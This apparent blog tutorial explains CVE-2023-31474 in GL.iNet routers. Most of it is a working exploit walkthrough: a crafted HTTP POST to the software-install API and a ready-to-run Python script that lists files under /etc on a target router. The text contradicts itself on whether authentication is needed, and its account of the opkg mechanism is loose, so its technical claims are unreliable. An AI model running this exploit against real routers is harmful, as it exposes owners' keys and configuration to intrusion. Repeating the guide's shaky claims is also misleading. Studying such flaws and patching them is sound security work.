In 2023, a vulnerability labeled CVE-2023-31474 was discovered in GL.iNet routers (before firmware version 3.216). This flaw lets attackers abuse the web interface’s software installation feature to force opkg—the package manager for OpenWrt-based systems—to show the contents of nearly any directory on the router. By cleverly crafting the “package name”, someone can use regex tricks to make the router reveal sensitive files without authentication or special access.
Even though this might sound complex, with a basic understanding of HTTP requests and package management, it’s surprisingly simple to pull off. Let’s break down the details, see a step-by-step exploit, and understand the risks.
How Does CVE-2023-31474 Work?
The router’s admin web interface lets you install or update software using an input form. The backend takes what you type in there and feeds it directly to the system’s opkg command for processing—without any serious sanitization.
However, opkg has a feature where if you put a pattern like /SOME_REGEX/ (that’s a regex expression between slashes) as the package name, it will search its database using that pattern and show matching results—including file names, paths, and more.
Normally, this helps users search for packages. But with bad input, you can make it print out unrelated file or directory content by referencing files outside of its normal package set.
Example Exploit
Suppose you’re on the router’s web interface. The vulnerable endpoint is often at /cgi-bin/luci/api/software/install (URL may differ based on the device).
Let’s say you want to list the contents of /etc (a directory with network passwords, keys, etc.).
Send the following HTTP POST request (using curl or Burp Suite)
POST /cgi-bin/luci/api/software/install HTTP/1.1
Host: [router_ip]
Content-Type: application/json
Cookie: sysauth=[your_session_cookie]
{
"name": "/etc/"
}
Step 2: How the Router Processes This
- The backend receives "name": "/etc/", and passes /etc/ as the argument to opkg.
- opkg interprets /etc/ as a regex and tries to match package names.
- Because package files sometimes reference directories as part of their metadata, opkg will reveal entries matching /etc/—showing you files under /etc.
Step 3: Reading the Output
If the exploit works, the server responds with a list of files or packages, including their paths under /etc. You won’t get the contents of the files, but just seeing the file names can help an attacker know what’s there: SSH keys, passwords, configs, etc.
Here’s a quick script you can use to automate the process
import requests
router_ip = "192.168.8.1" # Change this to your router's IP
session_cookie = "YOUR_SYSAUTH_COOKIE" # Get this from your browser when logged in
data = {
"name": "/etc/"
}
headers = {
"Content-Type": "application/json",
"Cookie": f"sysauth={session_cookie}"
}
url = f"http://{router_ip}/cgi-bin/luci/api/software/install";
response = requests.post(url, json=data, headers=headers)
print(response.text)
Note: If guest mode or remote access is enabled and there’s no authentication, you don’t even need the cookie.
Reveals config files, passwords, certificates, or even user-created data.
- Can be chained with other vulnerabilities for more serious attacks, like extracting secrets needed for remote code execution.
References and Further Reading
- NIST CVE Record: CVE-2023-31474
- GL.iNet Firmware Releases
- OpenWrt opkg documentation
- Exploit-DB Entry (if published) (search for 2023-31474)
Conclusion
CVE-2023-31474 is a vivid reminder: even little “convenience” features in a web interface can open huge security holes if user input isn't properly filtered. For GL.iNet and many OpenWrt-based routers, patching and tight controls on management interfaces are crucial.
If you use one of these routers, double-check your firmware version now. This vulnerability is simple to exploit but easily avoidable with an update.
*This guide is for educational and defensive purposes only. Always respect privacy and applicable laws.*
Timeline
Published on: 05/09/2023 18:15:00 UTC
Last modified on: 05/16/2023 19:17:00 UTC